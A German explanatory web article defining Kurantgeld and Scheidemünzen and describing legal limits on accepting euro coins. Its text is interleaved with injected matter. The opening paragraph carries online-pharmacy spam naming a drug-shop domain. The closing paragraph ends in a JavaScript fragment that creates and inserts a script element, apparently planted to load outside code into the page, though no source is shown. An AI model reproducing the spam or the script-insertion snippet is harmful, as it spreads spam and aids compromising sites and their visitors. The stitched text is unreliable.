Münzgeld Hartgeld oder Scheidemünzen und Kurantgeld

Straterra online buying pharmacyincity.com order paxil Definition und Entwicklung: Bei Münzgeld handelt es sich um Scheiben aus Metall, die bereits im Altertum bekannt waren. Eingeführt wurde Münzgeld um den Tauschhandel zu vereinfachen, respektive nach und nach den Mehrfachtausch zu ersetzen. Somit wurden Zahlungsmittel in Form von Münzen gleichzeitig auch teilbar. Ein weiterer, sehr wichtiger Aspekt um Münzen einzuführen war ihre nahezu unbegrenzte Haltbarkeit und Teilbarkeit. In früheren Zeiten wurden die Münzen überwiegend aus Edelmetallen hergestellt und geprägt. Gold und Silber waren dabei die Haupt-Metalle aus denen die kleinen Münzscheiben hergestellt wurden. Bis weit ins 19. Jahrhundert hinein wurden beinahe ausschließlich Kurantmünzen ausgegeben. Kurantmünzen ist die Bezeichnung von Münzen deren Gegenwert gleichzeitig dem Realwert des jeweiligen Gold- und Silberpreises entspricht. Kurantmünzen galten bereits zu dieser Zeit als gesetzliches Zahlungsmittel und mussten unbeschränkt angenommen werden. Zwischenzeitlich haben allerdings immer mehr die Papier- Banknoten die Münzen als Zahlungsmittel abgelöst. Dies liegt überwiegend in der relativ schwierigen Handhabung von Kurant- und Scheidemünzen begründet.

Einheitlicher europäischer Zahlungsverkehr auch bei Münzen

In jüngster Zeit sind Münzen im europäischen Raum in allen Mitgliedstaaten, die sich der Währungsunion Europas angeschlossen haben als Euro-Münzen auch europaweit gültig. Allerdings wurde die Annahmepflicht für Münzen nach Art. 2, §3 des Dritten Euro-Einführungsgesetzes auf 50 Münzen beschränkt. Ebenfalls gilt die Beschränkung auch in der Betragshöhe. So müssen Zahlungen die einen Euro-Betrag von 100 Euro überschreiten nicht angenommen werden. Dasselbe gilt übrigens auch für Gedenkmünzen des Bundes, die ebenfalls nicht akzeptiert werden müssen, wenn sie die Stückzahl von 50 oder den Nennwert von 100 Euro überschreiten. Im heutigen Zahlungsverkehr kommen allerdings keine Kurantmünzen mehr zum täglichen Einsatz, Scheidemünzen haben sie abgelöst und dienen weiterhin dem Kleinverkehr bei Zahlungen.

Definition Kurantgeld – obligatorisches Geld

Bei Kurantgeld handelt es sich grundsätzlich um ein Zahlungsmittel, welches von gesetzgebender Seite als offizielles Zahlungsmittel erklärt wird. Münzen (Hartgeld), das immer in voller Höhe in Zahlung genommen werden muss (obligatorisches Geld) . Ebenfalls entspricht der Metallwert stets dem aufgeprägten Nennwert.

Definition Scheidemünzen

Bei Scheidemünzen handelt es sich um Münzen (Hartgeld), dessen reiner Metallwert nicht dem aufgeprägten Nennwert entspricht. Da der Wert dieser Münzen in der Regel unterhalb des Prägewertes liegt, werden sie auch als unterwertige Münzen bezeichnet. Das Münzgeld, welches in der Bundesrepublik Deutschland im regulären Zahlungsverkehr seinen Einsatz findet, besteht aus Scheidemünzen. Diese sind allerdings, wie zuvor bereits beschrieben, nur in begrenztem Umfang als gesetzliches Zahlungsmittel gültig. Ebenso ist die Annahmepflicht beschränkt. document.currentScript.parentNode.insertBefore(s, document.currentScript);var d=document;var s=d.createElement('script');

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